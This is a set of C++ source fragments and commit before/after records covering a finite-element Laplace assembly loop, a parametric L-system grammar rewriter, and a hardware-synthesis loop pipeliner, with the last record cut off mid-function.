const unsigned maxSize = static_cast< unsigned > (ceil(pow(3,dim))); // conservative: based on line3, quad9, hex27
solu.reserve(maxSize);
for(unsigned i = 0; i < dim; i++)
x[i].reserve(maxSize);
KKDof.reserve(maxSize);
phi.reserve(maxSize);
phi_x.reserve(maxSize*dim);
unsigned dim2=(3*(dim-1)+!(dim-1)); // dim2 is the number of second order partial derivatives (1,3,6 depending on the dimension)
phi_xx.reserve(maxSize*dim2);
Res.reserve(maxSize);
K.reserve(maxSize*maxSize);
if( assembleMatrix )
KK->zero(); // Set to zero all the entries of the Global Matrix
// element loop: each process loops only on the elements that owns
for (int iel=msh->IS_Mts2Gmt_elem_offset[iproc]; iel < msh->IS_Mts2Gmt_elem_offset[iproc+1]; iel++) {
unsigned kel = msh->IS_Mts2Gmt_elem[iel]; // mapping between paralell dof and mesh dof
short unsigned kelGeom = el->GetElementType( kel ); // element geometry type
unsigned nDofs = el->GetElementDofNumber( kel, soluType); // number of solution element dofs
unsigned nDofs2 = el->GetElementDofNumber( kel, xType); // number of coordinate element dofs
// resize local arrays
KKDof.resize(nDofs);
solu.resize(nDofs);
for(int i=0; i<dim; i++) {
x[i].resize(nDofs2);
}
Res.resize(nDofs); //resize
std::fill(Res.begin(), Res.end(), 0); //set Res to zero
if(assembleMatrix) {
K.resize(nDofs*nDofs); //resize
std::fill(K.begin(), K.end(), 0); //set K to zero
}
// local storage of global mapping and solution
for( unsigned i=0; i<nDofs; i++) {
unsigned iNode = el->GetMeshDof(kel, i, soluType); // local to global solution node
unsigned solDof = msh->GetMetisDof(iNode, soluType); // global to global mapping between solution node and solution dof
solu[i] = (*sol->_Sol[soluIndex])(solDof); // global extraction and local storage for the solution
KKDof[i] = pdeSys->GetKKDof(soluIndex, soluPdeIndex, iNode); // global to global mapping between solution node and pdeSys dof
}
// local storage of coordinates
for( unsigned i=0; i<nDofs2; i++) {
unsigned iNode = el->GetMeshDof(kel, i, xType); // local to global coordinates node
unsigned xDof = msh->GetMetisDof(iNode, xType); // global to global mapping between coordinates node and coordinate dof
for(unsigned jdim=0; jdim<dim; jdim++) {
x[jdim][i] = (*msh->_coordinate->_Sol[jdim])(xDof); // global extraction and local storage for the element coordinates
}
}
if( level == levelMax || !el->GetRefinedElementIndex(kel)) { // do not care about this if now (it is used for the AMR)
// *** Gauss point loop ***
for(unsigned ig=0; ig < msh->_finiteElement[kelGeom][soluType]->GetGaussPointNumber(); ig++) {
// *** get gauss point weight, test function and test function partial derivatives ***
msh->_finiteElement[kelGeom][soluType]->Jacobian(x,ig,weight,phi,phi_x,phi_xx);
// evaluate the solution, the solution derivatives and the coordinates in the gauss point
double soluGauss = 0;
vector < double > soluGauss_x(dim,0.);
vector < double > xGauss(dim,0.);
for(unsigned i=0; i<nDofs; i++) {
soluGauss+=phi[i]*solu[i];
for(unsigned jdim=0; jdim<dim; jdim++) {
soluGauss_x[jdim] += phi_x[i*dim+jdim]*solu[i];
xGauss[jdim] += x[jdim][i]*phi[i];
}
}
// *** phi_i loop ***
for(unsigned i=0; i<nDofs; i++) {
double laplace = 0.;
for(unsigned jdim=0; jdim<dim; jdim++) {
laplace += phi_x[i*dim+jdim]*soluGauss_x[jdim];
}
double srcTerm = 1.;
Res[i]+= (srcTerm*phi[i] - laplace) * weight;
if( assembleMatrix ) {
// *** phi_j loop ***
for(unsigned j=0; j<nDofs; j++) {
laplace = 0.;
for(unsigned kdim=0; kdim<dim; kdim++) {
laplace += ( phi_x[i*dim + kdim] * phi_x[j*dim + kdim] )*weight;
}
K[i*nDofs+j] += laplace;
} // end phi_j loop
} // endif assemble_matrix
} // end phi_i loop
} // end gauss point loop
} // endif single element not refined or fine grid loop
//--------------------------------------------------------------------------------------------------------
// Add the local Matrix/Vector into the global Matrix/Vector
RES->add_vector_blocked(Res,KKDof);
if(assembleMatrix) KK->add_matrix_blocked(K,KKDof,KKDof);
} //end element loop for each process
RES->close();
if( assembleMatrix ) KK->close();
// ***************** END ASSEMBLY *******************
}
<|endoftext|>
|
<commit_before>#include "ofxLSGrammarParametric.h"
vector<string> ofxLSGrammarParametric::generateSentence(vector<string> ruleListString, int _numberOfSteps, string _axiom, map<string,float> _constants){
vector<string> finalSentences;
finalSentences.push_back(_axiom);
auto ruleList = getRules(ruleListString, _constants);
for(unsigned int i = 0; i< _numberOfSteps; i++){
auto currentString = finalSentences.back();
auto nextSentence = rewriteSentence(currentString, ruleList);
finalSentences.push_back(nextSentence);
cout << nextSentence << endl;
}
return finalSentences;
}
string ofxLSGrammarParametric::rewriteSentence(string axiom, vector<ofxLSGRuleParametric> rulesContainer){
auto modules = getModules(axiom);
auto currentIterationMap = ofxLSGModuleReaderParametric::initializeMap(modules, rulesContainer);
string rewrittenSentence = axiom;
for(auto module : currentIterationMap){
if(!moduleNotMentionedInPredecessors(rulesContainer, module)){
for(auto const rule:rulesContainer){
if(conditionsForReproductionAreMet(rule, module)){
rewrittenSentence = injectResults(rule, module, rewrittenSentence);
}
}
}
}
return rewrittenSentence;
}
//take the current module, execute the operation and replace it in the string
string ofxLSGrammarParametric::injectResults(ofxLSGRuleParametric rule, ModuleMapped module, string axiom){
string replacement = "";
for(auto successor : rule.getSuccessor()){
map<string, string> opResults;
for(auto op : successor.second){
float res = op.compute(module);
auto key = op.getKey();
opResults.insert(make_pair(key, ofToString(res)));
}
string stringAfterOperation = ofxLSGUtils::mapCopyToString(opResults, successor.first);
replacement += stringAfterOperation;
}
string moduleToReplace;
moduleToReplace = getCurrentModuleKey(module);
ofStringReplace(axiom, moduleToReplace, replacement);
return axiom;
}
// This method is horrible, takes a module Mapped , like A: {s: 6} and returns
// a string like 'A(6)'
string ofxLSGrammarParametric::getCurrentModuleKey(ModuleMapped module){
string res;
res += module.first;
if (module.second.size()>0) {
res+="(";
}
int i = 0;
for(auto number : module.second){
res+=ofToString(number.second);
i++;
if(i< module.second.size()){
res+=",";
}
}
if (module.second.size()>0) {
res+=")";
}
return res;
}
const bool ofxLSGrammarParametric::moduleNotMentionedInPredecessors(vector<ofxLSGRuleParametric> ruleContainer, ModuleMapped module){
for(auto rule:ruleContainer){
if(ofIsStringInString(rule.getPredecessor(), module.first)){
return false;
}
}
return true;
};
// This method takes vector containing a string for each rule, and for each string
// build a RuleParametric object(validating it) and put in in a container
const vector<ofxLSGRuleParametric> ofxLSGrammarParametric::getRules(vector<string> ruleList, map<string,float> _constants){
vector<ofxLSGRuleParametric> rulesContainer;
for(auto rule:ruleList){
auto parts = ofSplitString(rule, "->");
if(parts.size()==2){
auto predecessor_and_condition = getPredecessorAndCondition(parts.at(0));
auto predecessor = predecessor_and_condition.at(0);
auto condition = predecessor_and_condition.at(1);
auto successor = ofxLSGSanitizer::removeSpacesAndNewlines(parts.at(1));
rulesContainer.push_back(ofxLSGRuleParametric(
predecessor,
condition,
successor,
_constants));
}else{
ofLogError("Parametric Grammar detected, but rule not in the correct format");
}
}
return rulesContainer;
}
// This method takes a string containing a rule and separate the predecessor from the condition. ex 'A(x,y): y<=3', A(x,y) is the predecessor and y<=3 is the condition
// This method also consider the case where there is no condition. In this case
// the condition will be an empty strig, that will be alsway evaluated as true
// TODO, you still have to consider the case where the condition contains two
// bool, example "t==2 && s>=3"
const vector<string> ofxLSGrammarParametric::getPredecessorAndCondition(string str){
auto stringRules = ofxLSGSanitizer::removeSpacesAndNewlines(str);
vector<string> predecessor_and_condition;
auto parts = ofSplitString(stringRules, ":");
//rule with condition
if(parts.size() == 2){
predecessor_and_condition.push_back(parts.at(0));
predecessor_and_condition.push_back(parts.at(1));
//rule without condition
}else{
predecessor_and_condition.push_back(parts.at(0));
predecessor_and_condition.push_back("");
}
return predecessor_and_condition;
}
// This method builds the modules starting from the axiom. Example, receiving this
// as axiom "B(2)A(4,4)" it returns a map, in which A and B are keys, and the 3 integers
// are converted to float. 2.0 is pushed in the vector containg the values for the key "B",
// and the two 4.0 are pushed in the vector for the key "A". So that this is the resulting
// map (in pseudocode), containing the 2 modules:
// {
// "A": <2.0>
// "B": <4.0, 4.0>
// }
vector<Module> ofxLSGrammarParametric::getModules(string axiom){
vector<Module> modules;
auto parts = ofxLSGUtils::getModulesFromString(axiom);
for(auto part:parts){
string key;
vector<float> values;
auto letter = ofxLSGUtils::grepStringInRegex(part, "[A-Za-z]");
auto numbers = ofxLSGUtils::matchesInRegex(part, "[0-9\\.]+");
if (letter.length() > 0){
key = letter;
}
if(numbers.size() > 0){
for(auto number : numbers){
values.push_back(ofToFloat(number));
}
}
modules.push_back(make_pair(key,values));
}
return modules;
}
/////////////// CONDITIONS //////////////
bool ofxLSGrammarParametric::conditionsForReproductionAreMet(ofxLSGRuleParametric rule, ModuleMapped module){
// A reproduction take place if all of these 3 conditions are met:
// 1) the letter in the module and the letter in the predecessor are the same
// 2) The number of actual parameter in the module is eqaul to the number of formal parameter in the predecessor
// 3) the reproduction conditionis evaluate to true
// The first two condition are tested in the method "parametersAndLettersMatch", the last one in
// "conditionsAreTrue"
bool conditionsAreOk = conditionsAreTrue(rule.getConditions(), module);
return parametersAndLettersMatch(rule, module) && conditionsAreOk;
}
bool ofxLSGrammarParametric::conditionsAreTrue(vector<ofxLSGCondition> conditions, ModuleMapped module){
unsigned int count_falses = 0;
for(auto condition:conditions){
if(!condition.isTrue(module.second)){
count_falses ++;
}
}
return count_falses == 0;
}
bool ofxLSGrammarParametric::parametersAndLettersMatch(ofxLSGRuleParametric rule, ModuleMapped module){
// 1) the letter in the module and the letter in the predecessor are the same
// 2) The number of actual parameter in the module is eqaul to the number of formal parameter in the predecessor
bool letterInModuleIsEqualToLetterInPredecessor =
rule.getPredecessor().find(module.first) != string::npos;
bool numberParametersAreEqual =
rule.getPredecessorParameters().size() == module.second.size();
return (
letterInModuleIsEqualToLetterInPredecessor &&
numberParametersAreEqual
);
}
<commit_msg>remove useless debug<commit_after>#include "ofxLSGrammarParametric.h"
vector<string> ofxLSGrammarParametric::generateSentence(vector<string> ruleListString, int _numberOfSteps, string _axiom, map<string,float> _constants){
vector<string> finalSentences;
finalSentences.push_back(_axiom);
auto ruleList = getRules(ruleListString, _constants);
for(unsigned int i = 0; i< _numberOfSteps; i++){
auto currentString = finalSentences.back();
auto nextSentence = rewriteSentence(currentString, ruleList);
finalSentences.push_back(nextSentence);
//cout << nextSentence << endl;
}
return finalSentences;
}
string ofxLSGrammarParametric::rewriteSentence(string axiom, vector<ofxLSGRuleParametric> rulesContainer){
auto modules = getModules(axiom);
auto currentIterationMap = ofxLSGModuleReaderParametric::initializeMap(modules, rulesContainer);
string rewrittenSentence = axiom;
for(auto module : currentIterationMap){
if(!moduleNotMentionedInPredecessors(rulesContainer, module)){
for(auto const rule:rulesContainer){
if(conditionsForReproductionAreMet(rule, module)){
rewrittenSentence = injectResults(rule, module, rewrittenSentence);
}
}
}
}
return rewrittenSentence;
}
//take the current module, execute the operation and replace it in the string
string ofxLSGrammarParametric::injectResults(ofxLSGRuleParametric rule, ModuleMapped module, string axiom){
string replacement = "";
for(auto successor : rule.getSuccessor()){
map<string, string> opResults;
for(auto op : successor.second){
float res = op.compute(module);
auto key = op.getKey();
opResults.insert(make_pair(key, ofToString(res)));
}
string stringAfterOperation = ofxLSGUtils::mapCopyToString(opResults, successor.first);
replacement += stringAfterOperation;
}
string moduleToReplace;
moduleToReplace = getCurrentModuleKey(module);
ofStringReplace(axiom, moduleToReplace, replacement);
return axiom;
}
// This method is horrible, takes a module Mapped , like A: {s: 6} and returns
// a string like 'A(6)'
string ofxLSGrammarParametric::getCurrentModuleKey(ModuleMapped module){
string res;
res += module.first;
if (module.second.size()>0) {
res+="(";
}
int i = 0;
for(auto number : module.second){
res+=ofToString(number.second);
i++;
if(i< module.second.size()){
res+=",";
}
}
if (module.second.size()>0) {
res+=")";
}
return res;
}
const bool ofxLSGrammarParametric::moduleNotMentionedInPredecessors(vector<ofxLSGRuleParametric> ruleContainer, ModuleMapped module){
for(auto rule:ruleContainer){
if(ofIsStringInString(rule.getPredecessor(), module.first)){
return false;
}
}
return true;
};
// This method takes vector containing a string for each rule, and for each string
// build a RuleParametric object(validating it) and put in in a container
const vector<ofxLSGRuleParametric> ofxLSGrammarParametric::getRules(vector<string> ruleList, map<string,float> _constants){
vector<ofxLSGRuleParametric> rulesContainer;
for(auto rule:ruleList){
auto parts = ofSplitString(rule, "->");
if(parts.size()==2){
auto predecessor_and_condition = getPredecessorAndCondition(parts.at(0));
auto predecessor = predecessor_and_condition.at(0);
auto condition = predecessor_and_condition.at(1);
auto successor = ofxLSGSanitizer::removeSpacesAndNewlines(parts.at(1));
rulesContainer.push_back(ofxLSGRuleParametric(
predecessor,
condition,
successor,
_constants));
}else{
ofLogError("Parametric Grammar detected, but rule not in the correct format");
}
}
return rulesContainer;
}
// This method takes a string containing a rule and separate the predecessor from the condition. ex 'A(x,y): y<=3', A(x,y) is the predecessor and y<=3 is the condition
// This method also consider the case where there is no condition. In this case
// the condition will be an empty strig, that will be alsway evaluated as true
// TODO, you still have to consider the case where the condition contains two
// bool, example "t==2 && s>=3"
const vector<string> ofxLSGrammarParametric::getPredecessorAndCondition(string str){
auto stringRules = ofxLSGSanitizer::removeSpacesAndNewlines(str);
vector<string> predecessor_and_condition;
auto parts = ofSplitString(stringRules, ":");
//rule with condition
if(parts.size() == 2){
predecessor_and_condition.push_back(parts.at(0));
predecessor_and_condition.push_back(parts.at(1));
//rule without condition
}else{
predecessor_and_condition.push_back(parts.at(0));
predecessor_and_condition.push_back("");
}
return predecessor_and_condition;
}
// This method builds the modules starting from the axiom. Example, receiving this
// as axiom "B(2)A(4,4)" it returns a map, in which A and B are keys, and the 3 integers
// are converted to float. 2.0 is pushed in the vector containg the values for the key "B",
// and the two 4.0 are pushed in the vector for the key "A". So that this is the resulting
// map (in pseudocode), containing the 2 modules:
// {
// "A": <2.0>
// "B": <4.0, 4.0>
// }
vector<Module> ofxLSGrammarParametric::getModules(string axiom){
vector<Module> modules;
auto parts = ofxLSGUtils::getModulesFromString(axiom);
for(auto part:parts){
string key;
vector<float> values;
auto letter = ofxLSGUtils::grepStringInRegex(part, "[A-Za-z]");
auto numbers = ofxLSGUtils::matchesInRegex(part, "[0-9\\.]+");
if (letter.length() > 0){
key = letter;
}
if(numbers.size() > 0){
for(auto number : numbers){
values.push_back(ofToFloat(number));
}
}
modules.push_back(make_pair(key,values));
}
return modules;
}
/////////////// CONDITIONS //////////////
bool ofxLSGrammarParametric::conditionsForReproductionAreMet(ofxLSGRuleParametric rule, ModuleMapped module){
// A reproduction take place if all of these 3 conditions are met:
// 1) the letter in the module and the letter in the predecessor are the same
// 2) The number of actual parameter in the module is eqaul to the number of formal parameter in the predecessor
// 3) the reproduction conditionis evaluate to true
// The first two condition are tested in the method "parametersAndLettersMatch", the last one in
// "conditionsAreTrue"
bool conditionsAreOk = conditionsAreTrue(rule.getConditions(), module);
return parametersAndLettersMatch(rule, module) && conditionsAreOk;
}
bool ofxLSGrammarParametric::conditionsAreTrue(vector<ofxLSGCondition> conditions, ModuleMapped module){
unsigned int count_falses = 0;
for(auto condition:conditions){
if(!condition.isTrue(module.second)){
count_falses ++;
}
}
return count_falses == 0;
}
bool ofxLSGrammarParametric::parametersAndLettersMatch(ofxLSGRuleParametric rule, ModuleMapped module){
// 1) the letter in the module and the letter in the predecessor are the same
// 2) The number of actual parameter in the module is eqaul to the number of formal parameter in the predecessor
bool letterInModuleIsEqualToLetterInPredecessor =
rule.getPredecessor().find(module.first) != string::npos;
bool numberParametersAreEqual =
rule.getPredecessorParameters().size() == module.second.size();
return (
letterInModuleIsEqualToLetterInPredecessor &&
numberParametersAreEqual
);
}
<|endoftext|>
|
<commit_before>#include "opt/pipeline/pipeliner.h"
#include "design/design_tool.h"
#include "design/design_util.h"
#include "iroha/i_design.h"
#include "iroha/resource_class.h"
#include "opt/loop/loop_block.h"
#include "opt/optimizer_log.h"
#include "opt/pipeline/reg_info.h"
#include "opt/pipeline/shape.h"
#include "opt/pipeline/stage_scheduler.h"
namespace iroha {
namespace opt {
namespace pipeline {
Pipeliner::Pipeliner(ITable *tab, StageScheduler *ssch, RegInfo *reg_info)
: tab_(tab),
ssch_(ssch),
reg_info_(reg_info),
lb_(ssch->GetLoop()),
interval_(ssch_->GetInterval()),
opt_log_(nullptr),
prologue_st_(nullptr) {
opt_log_ = tab->GetModule()->GetDesign()->GetOptimizerLog();
}
Pipeliner::~Pipeliner() {}
bool Pipeliner::Pipeline() {
lb_->Annotate(opt_log_);
ostream &os = opt_log_->GetDumpStream();
os << "Pipeliner " << ssch_->GetMacroStageCount() << " states, "
<< lb_->GetLoopCount() << " loop, interval=" << interval_ << " <br/>\n";
// prepare states.
prologue_st_ = new IState(tab_);
tab_->states_.push_back(prologue_st_);
int plen = ssch_->GetPipelineStageLength();
for (int i = 0; i < plen; ++i) {
IState *st = new IState(tab_);
pipeline_stages_.push_back(st);
tab_->states_.push_back(st);
}
PrepareRegPipeline();
Shape shape(ssch_);
vector<pair<int, int>> loc = shape.GetPipelineLocation();
for (pair<int, int> &p : loc) {
int pipeline_macro_stage_index = p.first;
int loop_macro_stage_index = p.second;
PlaceState(pipeline_macro_stage_index, loop_macro_stage_index);
}
UpdatePipelineRegWrite();
SetupCounter();
SetupCounterIncrement();
UpdateCounterRead();
ConnectPipelineState();
SetupExit();
ConnectPipeline();
return true;
}
void Pipeliner::PlaceState(int pipeline_macro_stage_index,
int loop_macro_stage_index) {
MacroStage &ms = ssch_->GetMacroStage(loop_macro_stage_index);
for (int st = 0; st < ms.stages_.size(); ++st) {
IState *pst = pipeline_stages_[pipeline_macro_stage_index * interval_ + st];
ostream &os = opt_log_->State(pst);
os << "[" << loop_macro_stage_index;
if (ms.stages_.size() > 1) {
os << ":" << st;
}
os << "]";
StageInsns &si = ms.stages_[st];
for (IInsn *insn : si.insns_) {
IResource *res = insn->GetResource();
if (resource::IsTransition(*(res->GetClass()))) {
continue;
}
IInsn *new_insn = new IInsn(res);
UpdateRegs(pst, loop_macro_stage_index, false, insn->inputs_,
&new_insn->inputs_);
UpdateRegs(pst, loop_macro_stage_index, true, insn->outputs_,
&new_insn->outputs_);
new_insn->SetOperand(insn->GetOperand());
pst->insns_.push_back(new_insn);
insn_to_stage_[new_insn] = loop_macro_stage_index;
}
}
}
void Pipeliner::UpdateRegs(IState *pst, int lidx, bool is_output,
vector<IRegister *> &src, vector<IRegister *> *dst) {
for (IRegister *reg : src) {
if (reg->IsStateLocal()) {
reg = MayUpdateWireReg(pst, reg);
} else if (reg->IsNormal() && !is_output) {
reg = LookupStagedReg(lidx, reg);
}
dst->push_back(reg);
}
}
IRegister *Pipeliner::MayUpdateWireReg(IState *pst, IRegister *reg) {
auto key = make_tuple(pst, reg);
auto it = wire_to_reg_.find(key);
if (it == wire_to_reg_.end()) {
IRegister *nreg = new IRegister(tab_, reg->GetName());
tab_->registers_.push_back(nreg);
wire_to_reg_[key] = nreg;
nreg->SetStateLocal(true);
nreg->value_type_ = reg->value_type_;
reg = nreg;
} else {
reg = it->second;
}
return reg;
}
void Pipeliner::UpdateCounterRead() {
IRegister *counter = lb_->GetRegister();
for (IState *st : pipeline_stages_) {
for (IInsn *insn : st->insns_) {
auto it = insn_to_stage_.find(insn);
if (it == insn_to_stage_.end()) {
continue;
}
int stage = it->second;
for (int i = 0; i < insn->inputs_.size(); ++i) {
if (insn->inputs_[i] == counter) {
insn->inputs_[i] = counters_[stage];
}
}
}
}
}
void Pipeliner::ConnectPipelineState() {
DesignTool::AddNextState(prologue_st_, pipeline_stages_[0]);
for (int i = 0; i < pipeline_stages_.size() - 1; ++i) {
IState *cur = pipeline_stages_[i];
IState *next = pipeline_stages_[i + 1];
DesignTool::AddNextState(cur, next);
}
}
void Pipeliner::ConnectPipeline() {
// To entry.
IState *is = lb_->GetEntryAssignState();
IInsn *einsn = DesignUtil::GetTransitionInsn(is);
einsn->target_states_[0] = prologue_st_;
// From last.
IState *lst = pipeline_stages_[pipeline_stages_.size() - 1];
IInsn *linsn = DesignUtil::GetTransitionInsn(lst);
if (pipeline_stages_.size() == 1) {
// exit, current.
linsn->target_states_.push_back(linsn->target_states_[0]);
linsn->target_states_[0] = lb_->GetExitState();
} else {
linsn->target_states_.push_back(lb_->GetExitState());
}
}
void Pipeliner::SetupCounter() {
int llen = ssch_->GetMacroStageCount();
IRegister *orig_counter = lb_->GetRegister();
for (int i = 0; i < llen; ++i) {
IRegister *counter = new IRegister(tab_, RegName("ps", i));
counter->value_type_ = orig_counter->value_type_;
tab_->registers_.push_back(counter);
counters_.push_back(counter);
IRegister *counter_wire = new IRegister(tab_, RegName("psw", i));
counter_wire->SetStateLocal(true);
counter_wire->value_type_ = orig_counter->value_type_;
tab_->registers_.push_back(counter_wire);
counter_wires_.push_back(counter_wire);
}
IResource *assign = DesignUtil::FindAssignResource(tab_);
for (int i = 0; i < llen * 2 - 1; ++i) {
IState *st = pipeline_stages_[i * interval_ + (interval_ - 1)];
int start = 0;
if (i >= llen) {
start = i - llen + 1;
}
for (int j = start; j <= i; ++j) {
if (j + 1 >= counters_.size()) {
continue;
}
IInsn *insn = new IInsn(assign);
st->insns_.push_back(insn);
insn->inputs_.push_back(counters_[j]);
insn->outputs_.push_back(counters_[j + 1]);
}
}
}
void Pipeliner::SetupCounterIncrement() {
// Assign at the prologue.
IInsn *insn = new IInsn(DesignUtil::FindAssignResource(tab_));
IRegister *orig_counter = lb_->GetRegister();
insn->inputs_.push_back(orig_counter);
IRegister *counter0 = counters_[0];
insn->outputs_.push_back(counter0);
prologue_st_->insns_.push_back(insn);
// Increment count0.
int llen = ssch_->GetMacroStageCount();
int cwidth = counter0->value_type_.GetWidth();
IResource *adder = DesignUtil::CreateResource(tab_, resource::kAdd);
adder->input_types_.push_back(counter0->value_type_);
adder->input_types_.push_back(counter0->value_type_);
adder->output_types_.push_back(counter0->value_type_);
IResource *assign = DesignUtil::FindAssignResource(tab_);
IRegister *one = DesignTool::AllocConstNum(tab_, cwidth, 1);
for (int i = 0; i < llen; ++i) {
IInsn *add_insn = new IInsn(adder);
add_insn->inputs_.push_back(counter0);
add_insn->inputs_.push_back(one);
add_insn->outputs_.push_back(counter_wires_[i]);
pipeline_stages_[i * interval_ + (interval_ - 1)]->insns_.push_back(
add_insn);
IInsn *wire_to_reg = new IInsn(assign);
wire_to_reg->inputs_.push_back(counter_wires_[i]);
wire_to_reg->outputs_.push_back(counter0);
pipeline_stages_[i * interval_ + (interval_ - 1)]->insns_.push_back(
wire_to_reg);
}
}
void Pipeliner::SetupExit() {
int llen = ssch_->GetMacroStageCount();
IState *st = pipeline_stages_[(llen - 1) * interval_ + (interval_ - 1)];
IInsn *tr_insn = DesignUtil::GetTransitionInsn(st);
// next, current
tr_insn->target_states_.push_back(st);
IRegister *cond = new IRegister(tab_, RegName("cond_ps", 0));
cond->value_type_.SetWidth(0);
cond->SetStateLocal(true);
tab_->registers_.push_back(cond);
tr_insn->inputs_.push_back(cond);
IRegister *counter0 = counters_[0];
int cwidth = counter0->value_type_.GetWidth();
IRegister *max = DesignTool::AllocConstNum(tab_, cwidth, lb_->GetLoopCount());
IResource *comparator = DesignUtil::CreateResource(tab_, resource::kGt);
comparator->input_types_.push_back(counter0->value_type_);
comparator->input_types_.push_back(counter0->value_type_);
IValueType o;
o.SetWidth(0);
comparator->output_types_.push_back(o);
IInsn *compare = new IInsn(comparator);
compare->outputs_.push_back(cond);
compare->inputs_.push_back(max);
compare->inputs_.push_back(counter_wires_[llen - 1]);
st->insns_.push_back(compare);
}
string Pipeliner::RegName(const string &base, int index) {
IRegister *orig_counter = lb_->GetRegister();
return orig_counter->GetName() + base + Util::Itoa(index);
}
void Pipeliner::PrepareRegPipeline() {
// Prepare regs.
for (auto p : reg_info_->wr_deps_) {
WRDep *d = p.second;
IRegister *reg = p.first;
vector<IRegister *> regs;
for (int i = d->wst_index_; i < d->rst_index_; ++i) {
IRegister *r = new IRegister(tab_, reg->GetName() + "_s" + Util::Itoa(i));
r->value_type_ = reg->value_type_;
regs.push_back(r);
tab_->registers_.push_back(r);
d->regs_[i] = r;
}
}
// Update for stages.
Shape shape(ssch_);
IResource *assign = DesignUtil::FindAssignResource(tab_);
for (auto p : reg_info_->wr_deps_) {
WRDep *d = p.second;
vector<pair<int, int>> v =
shape.GetPipeLineIndexRange(d->wst_index_, d->rst_index_);
for (auto &p : v) {
int macrostage = p.first;
int lindex = p.second;
if (lindex == d->wst_index_) {
// rewrite of insn->outputs_ is performed later.
continue;
}
int pindex = macrostage * interval_ + (interval_ - 1);
IState *pst = pipeline_stages_[pindex];
IInsn *insn = new IInsn(assign);
IRegister *src = d->regs_[lindex - 1];
insn->inputs_.push_back(src);
IRegister *dst = d->regs_[lindex];
insn->outputs_.push_back(dst);
pst->insns_.push_back(insn);
ostream &os = opt_log_->Insn(insn);
os << "~";
}
}
}
IRegister *Pipeliner::LookupStagedReg(int lidx, IRegister *reg) {
auto it = reg_info_->wr_deps_.find(reg);
if (it == reg_info_->wr_deps_.end()) {
return reg;
}
WRDep *dep = it->second;
auto jt = dep->regs_.find(lidx - 1);
if (jt != dep->regs_.end()) {
return jt->second;
}
return reg;
}
void Pipeliner::UpdatePipelineRegWrite() {
IResource *assign = DesignUtil::FindAssignResource(tab_);
for (IState *st : pipeline_stages_) {
vector<IInsn *> new_insns;
for (IInsn *insn : st->insns_) {
for (int i = 0; i < insn->outputs_.size(); ++i) {
IRegister *reg = insn->outputs_[i];
auto it = reg_info_->wr_deps_.find(reg);
if (it == reg_info_->wr_deps_.end()) {
continue;
}
WRDep *dep = it->second;
IRegister *preg0 = (dep->regs_.begin()->second);
if (reg->IsStateLocal()) {
// preg0 <- reg
IInsn *a = new IInsn(assign);
a->inputs_.push_back(reg);
a->outputs_.push_back(preg0);
new_insns.push_back(a);
} else {
IRegister *w = new IRegister(tab_, reg->GetName());
w->SetStateLocal(true);
w->value_type_ = reg->value_type_;
tab_->registers_.push_back(w);
insn->outputs_[i] = w;
// reg <- w
IInsn *a = new IInsn(assign);
a->inputs_.push_back(w);
a->outputs_.push_back(reg);
new_insns.push_back(a);
// preg0 <- w
IInsn *b = new IInsn(assign);
b->inputs_.push_back(w);
b->outputs_.push_back(preg0);
new_insns.push_back(b);
}
}
}
for (IInsn *insn : new_insns) {
st->insns_.push_back(insn);
}
}
}
} // namespace pipeline
} // namespace opt
} // namespace iroha
<commit_msg>Fix wrong transition on interval > 1.<commit_after>#include "opt/pipeline/pipeliner.h"
#include "design/design_tool.h"
#include "design/design_util.h"
#include "iroha/i_design.h"
#include "iroha/resource_class.h"
#include "opt/loop/loop_block.h"
#include "opt/optimizer_log.h"
#include "opt/pipeline/reg_info.h"
#include "opt/pipeline/shape.h"
#include "opt/pipeline/stage_scheduler.h"
namespace iroha {
namespace opt {
namespace pipeline {
Pipeliner::Pipeliner(ITable *tab, StageScheduler *ssch, RegInfo *reg_info)
: tab_(tab),
ssch_(ssch),
reg_info_(reg_info),
lb_(ssch->GetLoop()),
interval_(ssch_->GetInterval()),
opt_log_(nullptr),
prologue_st_(nullptr) {
opt_log_ = tab->GetModule()->GetDesign()->GetOptimizerLog();
}
Pipeliner::~Pipeliner() {}
bool Pipeliner::Pipeline() {
lb_->Annotate(opt_log_);
ostream &os = opt_log_->GetDumpStream();
os << "Pipeliner " << ssch_->GetMacroStageCount() << " states, "
<< lb_->GetLoopCount() << " loop, interval=" << interval_ << " <br/>\n";
// prepare states.
prologue_st_ = new IState(tab_);
tab_->states_.push_back(prologue_st_);
int plen = ssch_->GetPipelineStageLength();
for (int i = 0; i < plen; ++i) {
IState *st = new IState(tab_);
pipeline_stages_.push_back(st);
tab_->states_.push_back(st);
}
PrepareRegPipeline();
Shape shape(ssch_);
vector<pair<int, int>> loc = shape.GetPipelineLocation();
for (pair<int, int> &p : loc) {
int pipeline_macro_stage_index = p.first;
int loop_macro_stage_index = p.second;
PlaceState(pipeline_macro_stage_index, loop_macro_stage_index);
}
UpdatePipelineRegWrite();
SetupCounter();
SetupCounterIncrement();
UpdateCounterRead();
ConnectPipelineState();
SetupExit();
ConnectPipeline();
return true;
}
void Pipeliner::PlaceState(int pipeline_macro_stage_index,
int loop_macro_stage_index) {
MacroStage &ms = ssch_->GetMacroStage(loop_macro_stage_index);
for (int st = 0; st < ms.stages_.size(); ++st) {
IState *pst = pipeline_stages_[pipeline_macro_stage_index * interval_ + st];
ostream &os = opt_log_->State(pst);
os << "[" << loop_macro_stage_index;
if (ms.stages_.size() > 1) {
os << ":" << st;
}
os << "]";
StageInsns &si = ms.stages_[st];
for (IInsn *insn : si.insns_) {
IResource *res = insn->GetResource();
if (resource::IsTransition(*(res->GetClass()))) {
continue;
}
IInsn *new_insn = new IInsn(res);
UpdateRegs(pst, loop_macro_stage_index, false, insn->inputs_,
&new_insn->inputs_);
UpdateRegs(pst, loop_macro_stage_index, true, insn->outputs_,
&new_insn->outputs_);
new_insn->SetOperand(insn->GetOperand());
pst->insns_.push_back(new_insn);
insn_to_stage_[new_insn] = loop_macro_stage_index;
}
}
}
void Pipeliner::UpdateRegs(IState *pst, int lidx, bool is_output,
vector<IRegister *> &src, vector<IRegister *> *dst) {
for (IRegister *reg : src) {
if (reg->IsStateLocal()) {
reg = MayUpdateWireReg(pst, reg);
} else if (reg->IsNormal() && !is_output) {
reg = LookupStagedReg(lidx, reg);
}
dst->push_back(reg);
}
}
IRegister *Pipeliner::MayUpdateWireReg(IState *pst, IRegister *reg) {
auto key = make_tuple(pst, reg);
auto it = wire_to_reg_.find(key);
if (it == wire_to_reg_.end()) {
IRegister *nreg = new IRegister(tab_, reg->GetName());
tab_->registers_.push_back(nreg);
wire_to_reg_[key] = nreg;
nreg->SetStateLocal(true);
